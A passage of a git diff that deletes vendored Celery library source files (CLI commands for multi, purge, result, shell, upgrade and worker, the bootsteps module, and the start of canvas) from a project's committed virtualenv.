p.parse() - return p, self.MultiParser(cmd=cmd).parse(p) - - def cluster_from_argv(self, argv, cmd=None): - _, cluster = self._cluster_from_argv(argv, cmd=cmd) - return cluster - - def _cluster_from_argv(self, argv, cmd=None): - p, nodes = self._nodes_from_argv(argv, cmd=cmd) - return p, self.Cluster(list(nodes), cmd=cmd) - - def Cluster(self, nodes, cmd=None): - return Cluster( - nodes, - cmd=cmd, - env=self.env, - on_stopping_preamble=self.on_stopping_preamble, - on_send_signal=self.on_send_signal, - on_still_waiting_for=self.on_still_waiting_for, - on_still_waiting_progress=self.on_still_waiting_progress, - on_still_waiting_end=self.on_still_waiting_end, - on_node_start=self.on_node_start, - on_node_restart=self.on_node_restart, - on_node_shutdown_ok=self.on_node_shutdown_ok, - on_node_status=self.on_node_status, - on_node_signal_dead=self.on_node_signal_dead, - on_node_signal=self.on_node_signal, - on_node_down=self.on_node_down, - on_child_spawn=self.on_child_spawn, - on_child_signalled=self.on_child_signalled, - on_child_failure=self.on_child_failure, - ) - - def on_stopping_preamble(self, nodes): - self.note(self.colored.blue('> Stopping nodes...')) - - def on_send_signal(self, node, sig): - self.note('\t> {0.name}: {1} -> {0.pid}'.format(node, sig)) - - def on_still_waiting_for(self, nodes): - num_left = len(nodes) - if num_left: - self.note(self.colored.blue( - '> Waiting for {} {} -> {}...'.format( - num_left, pluralize(num_left, 'node'), - ', '.join(str(node.pid) for node in nodes)), - ), newline=False) - - def on_still_waiting_progress(self, nodes): - self.note('.', newline=False) - - def on_still_waiting_end(self): - self.note('') - - def on_node_signal_dead(self, node): - self.note( - 'Could not signal {0.name} ({0.pid}): No such process'.format( - node)) - - def on_node_start(self, node): - self.note(f'\t> {node.name}: ', newline=False) - - def on_node_restart(self, node): - self.note(self.colored.blue( - f'> Restarting node {node.name}: '), newline=False) - - def on_node_down(self, node): - self.note(f'> {node.name}: {self.DOWN}') - - def on_node_shutdown_ok(self, node): - self.note(f'\n\t> {node.name}: {self.OK}') - - def on_node_status(self, node, retval): - self.note(retval and self.FAILED or self.OK) - - def on_node_signal(self, node, sig): - self.note('Sending {sig} to node {0.name} ({0.pid})'.format( - node, sig=sig)) - - def on_child_spawn(self, node, argstr, env): - self.info(f' {argstr}') - - def on_child_signalled(self, node, signum): - self.note(f'* Child was terminated by signal {signum}') - - def on_child_failure(self, node, retcode): - self.note(f'* Child terminated with exit code {retcode}') - - @cached_property - def OK(self): - return str(self.colored.green('OK')) - - @cached_property - def FAILED(self): - return str(self.colored.red('FAILED')) - - @cached_property - def DOWN(self): - return str(self.colored.magenta('DOWN')) - - -@click.command( - cls=CeleryCommand, - context_settings={ - 'allow_extra_args': True, - 'ignore_unknown_options': True - } -) -@click.pass_context -@handle_preload_options -def multi(ctx, **kwargs): - """Start multiple worker instances.""" - cmd = MultiTool(quiet=ctx.obj.quiet, no_color=ctx.obj.no_color) - # In 4.x, celery multi ignores the global --app option. - # Since in 5.0 the --app option is global only we - # rearrange the arguments so that the MultiTool will parse them correctly. - args = sys.argv[1:] - args = args[args.index('multi'):] + args[:args.index('multi')] - return cmd.execute_from_commandline(args) diff --git a/backend/venv/Lib/site-packages/celery/bin/purge.py b/backend/venv/Lib/site-packages/celery/bin/purge.py deleted file mode 100644 index cfb6caa9..00000000 --- a/backend/venv/Lib/site-packages/celery/bin/purge.py +++ /dev/null @@ -1,70 +0,0 @@ -"""The ``celery purge`` program, used to delete messages from queues.""" -import click - -from celery.bin.base import COMMA_SEPARATED_LIST, CeleryCommand, CeleryOption, handle_preload_options -from celery.utils import text - - -@click.command(cls=CeleryCommand, context_settings={ - 'allow_extra_args': True -}) -@click.option('-f', - '--force', - cls=CeleryOption, - is_flag=True, - help_group='Purging Options', - help="Don't prompt for verification.") -@click.option('-Q', - '--queues', - cls=CeleryOption, - type=COMMA_SEPARATED_LIST, - help_group='Purging Options', - help="Comma separated list of queue names to purge.") -@click.option('-X', - '--exclude-queues', - cls=CeleryOption, - type=COMMA_SEPARATED_LIST, - help_group='Purging Options', - help="Comma separated list of queues names not to purge.") -@click.pass_context -@handle_preload_options -def purge(ctx, force, queues, exclude_queues, **kwargs): - """Erase all messages from all known task queues. - - Warning: - - There's no undo operation for this command. - """ - app = ctx.obj.app - queues = set(queues or app.amqp.queues.keys()) - exclude_queues = set(exclude_queues or []) - names = queues - exclude_queues - qnum = len(names) - - if names: - queues_headline = text.pluralize(qnum, 'queue') - if not force: - queue_names = ', '.join(sorted(names)) - click.confirm(f"{ctx.obj.style('WARNING', fg='red')}:" - "This will remove all tasks from " - f"{queues_headline}: {queue_names}.\n" - " There is no undo for this operation!\n\n" - "(to skip this prompt use the -f option)\n" - "Are you sure you want to delete all tasks?", - abort=True) - - def _purge(conn, queue): - try: - return conn.default_channel.queue_purge(queue) or 0 - except conn.channel_errors: - return 0 - - with app.connection_for_write() as conn: - messages = sum(_purge(conn, queue) for queue in names) - - if messages: - messages_headline = text.pluralize(messages, 'message') - ctx.obj.echo(f"Purged {messages} {messages_headline} from " - f"{qnum} known task {queues_headline}.") - else: - ctx.obj.echo(f"No messages purged from {qnum} {queues_headline}.") diff --git a/backend/venv/Lib/site-packages/celery/bin/result.py b/backend/venv/Lib/site-packages/celery/bin/result.py deleted file mode 100644 index 615ee2eb..00000000 --- a/backend/venv/Lib/site-packages/celery/bin/result.py +++ /dev/null @@ -1,30 +0,0 @@ -"""The ``celery result`` program, used to inspect task results.""" -import click - -from celery.bin.base import CeleryCommand, CeleryOption, handle_preload_options - - -@click.command(cls=CeleryCommand) -@click.argument('task_id') -@click.option('-t', - '--task', - cls=CeleryOption, - help_group='Result Options', - help="Name of task (if custom backend).") -@click.option('--traceback', - cls=CeleryOption, - is_flag=True, - help_group='Result Options', - help="Show traceback instead.") -@click.pass_context -@handle_preload_options -def result(ctx, task_id, task, traceback): - """Print the return value for a given task id.""" - app = ctx.obj.app - - result_cls = app.tasks[task].AsyncResult if task else app.AsyncResult - task_result = result_cls(task_id) - value = task_result.traceback if traceback else task_result.get() - - # TODO: Prettify result - ctx.obj.echo(value) diff --git a/backend/venv/Lib/site-packages/celery/bin/shell.py b/backend/venv/Lib/site-packages/celery/bin/shell.py deleted file mode 100644 index 6c94a008..00000000 --- a/backend/venv/Lib/site-packages/celery/bin/shell.py +++ /dev/null @@ -1,173 +0,0 @@ -"""The ``celery shell`` program, used to start a REPL.""" - -import os -import sys -from importlib import import_module - -import click - -from celery.bin.base import CeleryCommand, CeleryOption, handle_preload_options - - -def _invoke_fallback_shell(locals): - import code - try: - import readline - except ImportError: - pass - else: - import rlcompleter - readline.set_completer( - rlcompleter.Completer(locals).complete) - readline.parse_and_bind('tab:complete') - code.interact(local=locals) - - -def _invoke_bpython_shell(locals): - import bpython - bpython.embed(locals) - - -def _invoke_ipython_shell(locals): - for ip in (_ipython, _ipython_pre_10, - _ipython_terminal, _ipython_010, - _no_ipython): - try: - return ip(locals) - except ImportError: - pass - - -def _ipython(locals): - from IPython import start_ipython - start_ipython(argv=[], user_ns=locals) - - -def _ipython_pre_10(locals): # pragma: no cover - from IPython.frontend.terminal.ipapp import TerminalIPythonApp - app = TerminalIPythonApp.instance() - app.initialize(argv=[]) - app.shell.user_ns.update(locals) - app.start() - - -def _ipython_terminal(locals): # pragma: no cover - from IPython.terminal import embed - embed.TerminalInteractiveShell(user_ns=locals).mainloop() - - -def _ipython_010(locals): # pragma: no cover - from IPython.Shell import IPShell - IPShell(argv=[], user_ns=locals).mainloop() - - -def _no_ipython(self): # pragma: no cover - raise ImportError('no suitable ipython found') - - -def _invoke_default_shell(locals): - try: - import IPython # noqa - except ImportError: - try: - import bpython # noqa - except ImportError: - _invoke_fallback_shell(locals) - else: - _invoke_bpython_shell(locals) - else: - _invoke_ipython_shell(locals) - - -@click.command(cls=CeleryCommand, context_settings={ - 'allow_extra_args': True -}) -@click.option('-I', - '--ipython', - is_flag=True, - cls=CeleryOption, - help_group="Shell Options", - help="Force IPython.") -@click.option('-B', - '--bpython', - is_flag=True, - cls=CeleryOption, - help_group="Shell Options", - help="Force bpython.") -@click.option('--python', - is_flag=True, - cls=CeleryOption, - help_group="Shell Options", - help="Force default Python shell.") -@click.option('-T', - '--without-tasks', - is_flag=True, - cls=CeleryOption, - help_group="Shell Options", - help="Don't add tasks to locals.") -@click.option('--eventlet', - is_flag=True, - cls=CeleryOption, - help_group="Shell Options", - help="Use eventlet.") -@click.option('--gevent', - is_flag=True, - cls=CeleryOption, - help_group="Shell Options", - help="Use gevent.") -@click.pass_context -@handle_preload_options -def shell(ctx, ipython=False, bpython=False, - python=False, without_tasks=False, eventlet=False, - gevent=False, **kwargs): - """Start shell session with convenient access to celery symbols. - - The following symbols will be added to the main globals: - - ``celery``: the current application. - - ``chord``, ``group``, ``chain``, ``chunks``, - ``xmap``, ``xstarmap`` ``subtask``, ``Task`` - - all registered tasks. - """ - sys.path.insert(0, os.getcwd()) - if eventlet: - import_module('celery.concurrency.eventlet') - if gevent: - import_module('celery.concurrency.gevent') - import celery - app = ctx.obj.app - app.loader.import_default_modules() - - # pylint: disable=attribute-defined-outside-init - locals = { - 'app': app, - 'celery': app, - 'Task': celery.Task, - 'chord': celery.chord, - 'group': celery.group, - 'chain': celery.chain, - 'chunks': celery.chunks, - 'xmap': celery.xmap, - 'xstarmap': celery.xstarmap, - 'subtask': celery.subtask, - 'signature': celery.signature, - } - - if not without_tasks: - locals.update({ - task.__name__: task for task in app.tasks.values() - if not task.name.startswith('celery.') - }) - - if python: - _invoke_fallback_shell(locals) - elif bpython: - try: - _invoke_bpython_shell(locals) - except ImportError: - ctx.obj.echo(f'{ctx.obj.ERROR}: bpython is not installed') - elif ipython: - try: - _invoke_ipython_shell(locals) - except ImportError as e: - ctx.obj.echo(f'{ctx.obj.ERROR}: {e}') - _invoke_default_shell(locals) diff --git a/backend/venv/Lib/site-packages/celery/bin/upgrade.py b/backend/venv/Lib/site-packages/celery/bin/upgrade.py deleted file mode 100644 index bbfdb044..00000000 --- a/backend/venv/Lib/site-packages/celery/bin/upgrade.py +++ /dev/null @@ -1,91 +0,0 @@ -"""The ``celery upgrade`` command, used to upgrade from previous versions.""" -import codecs -import sys - -import click - -from celery.app import defaults -from celery.bin.base import CeleryCommand, CeleryOption, handle_preload_options -from celery.utils.functional import pass1 - - -@click.group() -@click.pass_context -@handle_preload_options -def upgrade(ctx): - """Perform upgrade between versions.""" - - -def _slurp(filename): - # TODO: Handle case when file does not exist - with codecs.open(filename, 'r', 'utf-8') as read_fh: - return [line for line in read_fh] - - -def _compat_key(key, namespace='CELERY'): - key = key.upper() - if not key.startswith(namespace): - key = '_'.join([namespace, key]) - return key - - -def _backup(filename, suffix='.orig'): - lines = [] - backup_filename = ''.join([filename, suffix]) - print(f'writing backup to {backup_filename}...', - file=sys.stderr) - with codecs.open(filename, 'r', 'utf-8') as read_fh: - with codecs.open(backup_filename, 'w', 'utf-8') as backup_fh: - for line in read_fh: - backup_fh.write(line) - lines.append(line) - return lines - - -def _to_new_key(line, keyfilter=pass1, source=defaults._TO_NEW_KEY): - # sort by length to avoid, for example, broker_transport overriding - # broker_transport_options. - for old_key in reversed(sorted(source, key=lambda x: len(x))): - new_line = line.replace(old_key, keyfilter(source[old_key])) - if line != new_line and 'CELERY_CELERY' not in new_line: - return 1, new_line # only one match per line. - return 0, line - - -@upgrade.command(cls=CeleryCommand) -@click.argument('filename') -@click.option('--django', - cls=CeleryOption, - is_flag=True, - help_group='Upgrading Options', - help='Upgrade Django project.') -@click.option('--compat', - cls=CeleryOption, - is_flag=True, - help_group='Upgrading Options', - help='Maintain backwards compatibility.') -@click.option('--no-backup', - cls=CeleryOption, - is_flag=True, - help_group='Upgrading Options', - help="Don't backup original files.") -def settings(filename, django, compat, no_backup): - """Migrate settings from Celery 3.x to Celery 4.x.""" - lines = _slurp(filename) - keyfilter = _compat_key if django or compat else pass1 - print(f'processing {filename}...', file=sys.stderr) - # gives list of tuples: ``(did_change, line_contents)`` - new_lines = [ - _to_new_key(line, keyfilter) for line in lines - ] - if any(n[0] for n in new_lines): # did have changes - if not no_backup: - _backup(filename) - with codecs.open(filename, 'w', 'utf-8') as write_fh: - for _, line in new_lines: - write_fh.write(line) - print('Changes to your setting have been made!', - file=sys.stdout) - else: - print('Does not seem to require any changes :-)', - file=sys.stdout) diff --git a/backend/venv/Lib/site-packages/celery/bin/worker.py b/backend/venv/Lib/site-packages/celery/bin/worker.py deleted file mode 100644 index 0cc3d666..00000000 --- a/backend/venv/Lib/site-packages/celery/bin/worker.py +++ /dev/null @@ -1,360 +0,0 @@ -"""Program used to start a Celery worker instance.""" - -import os -import sys - -import click -from click import ParamType -from click.types import StringParamType - -from celery import concurrency -from celery.bin.base import (COMMA_SEPARATED_LIST, LOG_LEVEL, CeleryDaemonCommand, CeleryOption, - handle_preload_options) -from celery.concurrency.base import BasePool -from celery.exceptions import SecurityError -from celery.platforms import EX_FAILURE, EX_OK, detached, maybe_drop_privileges -from celery.utils.log import get_logger -from celery.utils.nodenames import default_nodename, host_format, node_format - -logger = get_logger(__name__) - - -class CeleryBeat(ParamType): - """Celery Beat flag.""" - - name = "beat" - - def convert(self, value, param, ctx): - if ctx.obj.app.IS_WINDOWS and value: - self.fail('-B option does not work on Windows. ' - 'Please run celery beat as a separate service.') - - return value - - -class WorkersPool(click.Choice): - """Workers pool option.""" - - name = "pool" - - def __init__(self): - """Initialize the workers pool option with the relevant choices.""" - super().__init__(concurrency.get_available_pool_names()) - - def convert(self, value, param, ctx): - # Pools like eventlet/gevent needs to patch libs as early - # as possible. - if isinstance(value, type) and issubclass(value, BasePool): - return value - - value = super().convert(value, param, ctx) - worker_pool = ctx.obj.app.conf.worker_pool - if value == 'prefork' and worker_pool: - # If we got the default pool through the CLI - # we need to check if the worker pool was configured. - # If the worker pool was configured, we shouldn't use the default. - value = concurrency.get_implementation(worker_pool) - else: - value = concurrency.get_implementation(value) - - if not value: - value = concurrency.get_implementation(worker_pool) - - return value - - -class Hostname(StringParamType): - """Hostname option.""" - - name = "hostname" - - def convert(self, value, param, ctx): - return host_format(default_nodename(value)) - - -class Autoscale(ParamType): - """Autoscaling parameter.""" - - name = ", " - - def convert(self, value, param, ctx): - value = value.split(',') - - if len(value) > 2: - self.fail("Expected two comma separated integers or one integer." - f"Got {len(value)} instead.") - - if len(value) == 1: - try: - value = (int(value[0]), 0) - except ValueError: - self.fail(f"Expected an integer. Got {value} instead.") - - try: - return tuple(reversed(sorted(map(int, value)))) - except ValueError: - self.fail("Expected two comma separated integers." - f"Got {value.join(',')} instead.") - - -CELERY_BEAT = CeleryBeat() -WORKERS_POOL = WorkersPool() -HOSTNAME = Hostname() -AUTOSCALE = Autoscale() - -C_FAKEFORK = os.environ.get('C_FAKEFORK') - - -def detach(path, argv, logfile=None, pidfile=None, uid=None, - gid=None, umask=None, workdir=None, fake=False, app=None, - executable=None, hostname=None): - """Detach program by argv.""" - fake = 1 if C_FAKEFORK else fake - # `detached()` will attempt to touch the logfile to confirm that error - # messages won't be lost after detaching stdout/err, but this means we need - # to pre-format it rather than relying on `setup_logging_subsystem()` like - # we can elsewhere. - logfile = node_format(logfile, hostname) - with detached(logfile, pidfile, uid, gid, umask, workdir, fake, - after_forkers=False): - try: - if executable is not None: - path = executable - os.execv(path, [path] + argv) - return EX_OK - except Exception: # pylint: disable=broad-except - if app is None: - from celery import current_app - app = current_app - app.log.setup_logging_subsystem( - 'ERROR', logfile, hostname=hostname) - logger.critical("Can't exec %r", ' '.join([path] + argv), - exc_info=True) - return EX_FAILURE - - -@click.command(cls=CeleryDaemonCommand, - context_settings={'allow_extra_args': True}) -@click.option('-n', - '--hostname', - default=host_format(default_nodename(None)), - cls=CeleryOption, - type=HOSTNAME, - help_group="Worker Options", - help="Set custom hostname (e.g., 'w1@%%h'). " - "Expands: %%h (hostname), %%n (name) and %%d, (domain).") -@click.option('-D', - '--detach', - cls=CeleryOption, - is_flag=True, - default=False, - help_group="Worker Options", - help="Start worker as a background process.") -@click.option('-S', - '--statedb', - cls=CeleryOption, - type=click.Path(), - callback=lambda ctx, _, - value: value or ctx.obj.app.conf.worker_state_db, - help_group="Worker Options", - help="Path to the state database. The extension '.db' may be " - "appended to the filename.") -@click.option('-l', - '--loglevel', - default='WARNING', - cls=CeleryOption, - type=LOG_LEVEL, - help_group="Worker Options", - help="Logging level.") -@click.option('-O', - '--optimization', - default='default', - cls=CeleryOption, - type=click.Choice(('default', 'fair')), - help_group="Worker Options", - help="Apply optimization profile.") -@click.option('--prefetch-multiplier', - type=int, - metavar="", - callback=lambda ctx, _, - value: value or ctx.obj.app.conf.worker_prefetch_multiplier, - cls=CeleryOption, - help_group="Worker Options", - help="Set custom prefetch multiplier value " - "for this worker instance.") -@click.option('-c', - '--concurrency', - type=int, - metavar="", - callback=lambda ctx, _, - value: value or ctx.obj.app.conf.worker_concurrency, - cls=CeleryOption, - help_group="Pool Options", - help="Number of child processes processing the queue. " - "The default is the number of CPUs available" - " on your system.") -@click.option('-P', - '--pool', - default='prefork', - type=WORKERS_POOL, - cls=CeleryOption, - help_group="Pool Options", - help="Pool implementation.") -@click.option('-E', - '--task-events', - '--events', - is_flag=True, - default=None, - cls=CeleryOption, - help_group="Pool Options", - help="Send task-related events that can be captured by monitors" - " like celery events, celerymon, and others.") -@click.option('--time-limit', - type=float, - cls=CeleryOption, - help_group="Pool Options", - help="Enables a hard time limit " - "(in seconds int/float) for tasks.") -@click.option('--soft-time-limit', - type=float, - cls=CeleryOption, - help_group="Pool Options", - help="Enables a soft time limit " - "(in seconds int/float) for tasks.") -@click.option('--max-tasks-per-child', - type=int, - cls=CeleryOption, - help_group="Pool Options", - help="Maximum number of tasks a pool worker can execute before " - "it's terminated and replaced by a new worker.") -@click.option('--max-memory-per-child', - type=int, - cls=CeleryOption, - help_group="Pool Options", - help="Maximum amount of resident memory, in KiB, that may be " - "consumed by a child process before it will be replaced " - "by a new one. If a single task causes a child process " - "to exceed this limit, the task will be completed and " - "the child process will be replaced afterwards.\n" - "Default: no limit.") -@click.option('--purge', - '--discard', - is_flag=True, - cls=CeleryOption, - help_group="Queue Options") -@click.option('--queues', - '-Q', - type=COMMA_SEPARATED_LIST, - cls=CeleryOption, - help_group="Queue Options") -@click.option('--exclude-queues', - '-X', - type=COMMA_SEPARATED_LIST, - cls=CeleryOption, - help_group="Queue Options") -@click.option('--include', - '-I', - type=COMMA_SEPARATED_LIST, - cls=CeleryOption, - help_group="Queue Options") -@click.option('--without-gossip', - is_flag=True, - cls=CeleryOption, - help_group="Features") -@click.option('--without-mingle', - is_flag=True, - cls=CeleryOption, - help_group="Features") -@click.option('--without-heartbeat', - is_flag=True, - cls=CeleryOption, - help_group="Features", ) -@click.option('--heartbeat-interval', - type=int, - cls=CeleryOption, - help_group="Features", ) -@click.option('--autoscale', - type=AUTOSCALE, - cls=CeleryOption, - help_group="Features", ) -@click.option('-B', - '--beat', - type=CELERY_BEAT, - cls=CeleryOption, - is_flag=True, - help_group="Embedded Beat Options") -@click.option('-s', - '--schedule-filename', - '--schedule', - callback=lambda ctx, _, - value: value or ctx.obj.app.conf.beat_schedule_filename, - cls=CeleryOption, - help_group="Embedded Beat Options") -@click.option('--scheduler', - cls=CeleryOption, - help_group="Embedded Beat Options") -@click.pass_context -@handle_preload_options -def worker(ctx, hostname=None, pool_cls=None, app=None, uid=None, gid=None, - loglevel=None, logfile=None, pidfile=None, statedb=None, - **kwargs): - """Start worker instance. - - \b - Examples - -------- - - \b - $ celery --app=proj worker -l INFO - $ celery -A proj worker -l INFO -Q hipri,lopri - $ celery -A proj worker --concurrency=4 - $ celery -A proj worker --concurrency=1000 -P eventlet - $ celery worker --autoscale=10,0 - - """ - try: - app = ctx.obj.app - if ctx.args: - try: - app.config_from_cmdline(ctx.args, namespace='worker') - except (KeyError, ValueError) as e: - # TODO: Improve the error messages - raise click.UsageError( - "Unable to parse extra configuration from command line.\n" - f"Reason: {e}", ctx=ctx) - if kwargs.get('detach', False): - argv = ['-m', 'celery'] + sys.argv[1:] - if '--detach' in argv: - argv.remove('--detach') - if '-D' in argv: - argv.remove('-D') - if "--uid" in argv: - argv.remove('--uid') - if "--gid" in argv: - argv.remove('--gid') - - return detach(sys.executable, - argv, - logfile=logfile, - pidfile=pidfile, - uid=uid, gid=gid, - umask=kwargs.get('umask', None), - workdir=kwargs.get('workdir', None), - app=app, - executable=kwargs.get('executable', None), - hostname=hostname) - - maybe_drop_privileges(uid=uid, gid=gid) - worker = app.Worker( - hostname=hostname, pool_cls=pool_cls, loglevel=loglevel, - logfile=logfile, # node format handled by celery.app.log.setup - pidfile=node_format(pidfile, hostname), - statedb=node_format(statedb, hostname), - no_color=ctx.obj.no_color, - quiet=ctx.obj.quiet, - **kwargs) - worker.start() - ctx.exit(worker.exitcode) - except SecurityError as e: - ctx.obj.error(e.args[0]) - ctx.exit(1) diff --git a/backend/venv/Lib/site-packages/celery/bootsteps.py b/backend/venv/Lib/site-packages/celery/bootsteps.py deleted file mode 100644 index 87856062..00000000 --- a/backend/venv/Lib/site-packages/celery/bootsteps.py +++ /dev/null @@ -1,415 +0,0 @@ -"""A directed acyclic graph of reusable components.""" - -from collections import deque -from threading import Event - -from kombu.common import ignore_errors -from kombu.utils.encoding import bytes_to_str -from kombu.utils.imports import symbol_by_name - -from .utils.graph import DependencyGraph, GraphFormatter -from .utils.imports import instantiate, qualname -from .utils.log import get_logger - -try: - from greenlet import GreenletExit -except ImportError: - IGNORE_ERRORS = () -else: - IGNORE_ERRORS = (GreenletExit,) - -__all__ = ('Blueprint', 'Step', 'StartStopStep', 'ConsumerStep') - -#: States -RUN = 0x1 -CLOSE = 0x2 -TERMINATE = 0x3 - -logger = get_logger(__name__) - - -def _pre(ns, fmt): - return f'| {ns.alias}: {fmt}' - - -def _label(s): - return s.name.rsplit('.', 1)[-1] - - -class StepFormatter(GraphFormatter): - """Graph formatter for :class:`Blueprint`.""" - - blueprint_prefix = '⧉' - conditional_prefix = '∘' - blueprint_scheme = { - 'shape': 'parallelogram', - 'color': 'slategray4', - 'fillcolor': 'slategray3', - } - - def label(self, step): - return step and '{}{}'.format( - self._get_prefix(step), - bytes_to_str( - (step.label or _label(step)).encode('utf-8', 'ignore')), - ) - - def _get_prefix(self, step): - if step.last: - return self.blueprint_prefix - if step.conditional: - return self.conditional_prefix - return '' - - def node(self, obj, **attrs): - scheme = self.blueprint_scheme if obj.last else self.node_scheme - return self.draw_node(obj, scheme, attrs) - - def edge(self, a, b, **attrs): - if a.last: - attrs.update(arrowhead='none', color='darkseagreen3') - return self.draw_edge(a, b, self.edge_scheme, attrs) - - -class Blueprint: - """Blueprint containing bootsteps that can be applied to objects. - - Arguments: - steps Sequence[Union[str, Step]]: List of steps. - name (str): Set explicit name for this blueprint. - on_start (Callable): Optional callback applied after blueprint start. - on_close (Callable): Optional callback applied before blueprint close. - on_stopped (Callable): Optional callback applied after - blueprint stopped. - """ - - GraphFormatter = StepFormatter - - name = None - state = None - started = 0 - default_steps = set() - state_to_name = { - 0: 'initializing', - RUN: 'running', - CLOSE: 'closing', - TERMINATE: 'terminating', - } - - def __init__(self, steps=None, name=None, - on_start=None, on_close=None, on_stopped=None): - self.name = name or self.name or qualname(type(self)) - self.types = set(steps or []) | set(self.default_steps) - self.on_start = on_start - self.on_close = on_close - self.on_stopped = on_stopped - self.shutdown_complete = Event() - self.steps = {} - - def start(self, parent): - self.state = RUN - if self.on_start: - self.on_start() - for i, step in enumerate(s for s in parent.steps if s is not None): - self._debug('Starting %s', step.alias) - self.started = i + 1 - step.start(parent) - logger.debug('^-- substep ok') - - def human_state(self): - return self.state_to_name[self.state or 0] - - def info(self, parent): - info = {} - for step in parent.steps: - info.update(step.info(parent) or {}) - return info - - def close(self, parent): - if self.on_close: - self.on_close() - self.send_all(parent, 'close', 'closing', reverse=False) - - def restart(self, parent, method='stop', - description='restarting', propagate=False): - self.send_all(parent, method, description, propagate=propagate) - - def send_all(self, parent, method, - description=None, reverse=True, propagate=True, args=()): - description = description or method.replace('_', ' ') - steps = reversed(parent.steps) if reverse else parent.steps - for step in steps: - if step: - fun = getattr(step, method, None) - if fun is not None: - self._debug('%s %s...', - description.capitalize(), step.alias) - try: - fun(parent, *args) - except Exception as exc: # pylint: disable=broad-except - if propagate: - raise - logger.exception( - 'Error on %s %s: %r', description, step.alias, exc) - - def stop(self, parent, close=True, terminate=False): - what = 'terminating' if terminate else 'stopping' - if self.state in (CLOSE, TERMINATE): - return - - if self.state != RUN or self.started != len(parent.steps): - # Not fully started, can safely exit. - self.state = TERMINATE - self.shutdown_complete.set() - return - self.close(parent) - self.state = CLOSE - - self.restart( - parent, 'terminate' if terminate else 'stop', - description=what, propagate=False, - ) - - if self.on_stopped: - self.on_stopped() - self.state = TERMINATE - self.shutdown_complete.set() - - def join(self, timeout=None): - try: - # Will only get here if running green, - # makes sure all greenthreads have exited. - self.shutdown_complete.wait(timeout=timeout) - except IGNORE_ERRORS: - pass - - def apply(self, parent, **kwargs): - """Apply the steps in this blueprint to an object. - - This will apply the ``__init__`` and ``include`` methods - of each step, with the object as argument:: - - step = Step(obj) - ... - step.include(obj) - - For :class:`StartStopStep` the services created - will also be added to the objects ``steps`` attribute. - """ - self._debug('Preparing bootsteps.') - order = self.order = [] - steps = self.steps = self.claim_steps() - - self._debug('Building graph...') - for S in self._finalize_steps(steps): - step = S(parent, **kwargs) - steps[step.name] = step - order.append(step) - self._debug('New boot order: {%s}', - ', '.join(s.alias for s in self.order)) - for step in order: - step.include(parent) - return self - - def connect_with(self, other): - self.graph.adjacent.update(other.graph.adjacent) - self.graph.add_edge(type(other.order[0]), type(self.order[-1])) - - def __getitem__(self, name): - return self.steps[name] - - def _find_last(self): - return next((C for C in self.steps.values() if C.last), None) - - def _firstpass(self, steps): - for step in steps.values(): - step.requires = [symbol_by_name(dep) for dep in step.requires] - stream = deque(step.requires for step in steps.values()) - while stream: - for node in stream.popleft(): - node = symbol_by_name(node) - if node.name not in self.steps: - steps[node.name] = node - stream.append(node.requires) - - def _finalize_steps(self, steps): - last = self._find_last() - self._firstpass(steps) - it = ((C, C.requires) for C in steps.values()) - G = self.graph = DependencyGraph( - it, formatter=self.GraphFormatter(root=last), - ) - if last: - for obj in G: - if obj != last: - G.add_edge(last, obj) - try: - return G.topsort() - except KeyError as exc: - raise KeyError('unknown bootstep: %s' % exc) - - def claim_steps(self): - return dict(self.load_step(step) for step in self.types) - - def load_step(self, step): - step = symbol_by_name(step) - return step.name, step - - def _debug(self, msg, *args): - return logger.debug(_pre(self, msg), *args) - - @property - def alias(self): - return _label(self) - - -class StepType(type): - """Meta-class for steps.""" - - name = None - requires = None - - def __new__(cls, name, bases, attrs): - module = attrs.get('__module__') - qname = f'{module}.{name}' if module else name - attrs.update( - __qualname__=qname, - name=attrs.get('name') or qname, - ) - return super().__new__(cls, name, bases, attrs) - - def __str__(cls): - return cls.name - - def __repr__(cls): - return 'step:{0.name}{{{0.requires!r}}}'.format(cls) - - -class Step(metaclass=StepType): - """A Bootstep. - - The :meth:`__init__` method is called when the step - is bound to a parent object, and can as such be used - to initialize attributes in the parent object at - parent instantiation-time. - """ - - #: Optional step name, will use ``qualname`` if not specified. - name = None - - #: Optional short name used for graph outputs and in logs. - label = None - - #: Set this to true if the step is enabled based on some condition. - conditional = False - - #: List of other steps that that must be started before this step. - #: Note that all dependencies must be in the same blueprint. - requires = () - - #: This flag is reserved for the workers Consumer, - #: since it is required to always be started last. - #: There can only be one object marked last - #: in every blueprint. - last = False - - #: This provides the default for :meth:`include_if`. - enabled = True - - def __init__(self, parent, **kwargs): - pass - - def include_if(self, parent): - """Return true if bootstep should be included. - - You can define this as an optional predicate that decides whether - this step should be created. - """ - return self.enabled - - def instantiate(self, name, *args, **kwargs): - return instantiate(name, *args, **kwargs) - - def _should_include(self, parent): - if self.include_if(parent): - return True, self.create(parent) - return False, None - - def include(self, parent): - return self._should_include(parent)[0] - - def create(self, parent): - """Create the step.""" - - def __repr__(self): - return f'' - - @property - def alias(self): - return self.label or _label(self) - - def info(self, obj): - pass - - -class StartStopStep(Step): - """Bootstep that must be started and stopped in order.""" - - #: Optional obj created by the :meth:`create` method. - #: This is used by :class:`StartStopStep` to keep the - #: original service object. - obj = None - - def start(self, parent): - if self.obj: - return self.obj.start() - - def stop(self, parent): - if self.obj: - return self.obj.stop() - - def close(self, parent): - pass - - def terminate(self, parent): - if self.obj: - return getattr(self.obj, 'terminate', self.obj.stop)() - - def include(self, parent): - inc, ret = self._should_include(parent) - if inc: - self.obj = ret - parent.steps.append(self) - return inc - - -class ConsumerStep(StartStopStep): - """Bootstep that starts a message consumer.""" - - requires = ('celery.worker.consumer:Connection',) - consumers = None - - def get_consumers(self, channel): - raise NotImplementedError('missing get_consumers') - - def start(self, c): - channel = c.connection.channel() - self.consumers = self.get_consumers(channel) - for consumer in self.consumers or []: - consumer.consume() - - def stop(self, c): - self._close(c, True) - - def shutdown(self, c): - self._close(c, False) - - def _close(self, c, cancel_consumers=True): - channels = set() - for consumer in self.consumers or []: - if cancel_consumers: - ignore_errors(c.connection, consumer.cancel) - if consumer.channel: - channels.add(consumer.channel) - for channel in channels: - ignore_errors(c.connection, channel.close) diff --git a/backend/venv/Lib/site-packages/celery/canvas.py b/backend/venv/Lib/site-packages/celery/canvas.py deleted file mode 100644 index da395c13..00000000 --- a/backend/venv/Lib/site-packages/celery/canvas.py +++ /dev/null @@ -1,2419 +0,0 @@ -"""Composing task work-flows. - -.. seealso: - - You should import these from :mod:`celery` and not this module. -""" - -import itertools -import operator -import warnings -from abc import ABCMeta, abstractmethod -from collections import deque -from collections.abc import MutableSequence -from copy import deepcopy -from functools import partial as _partial -from functools import reduce -from operator 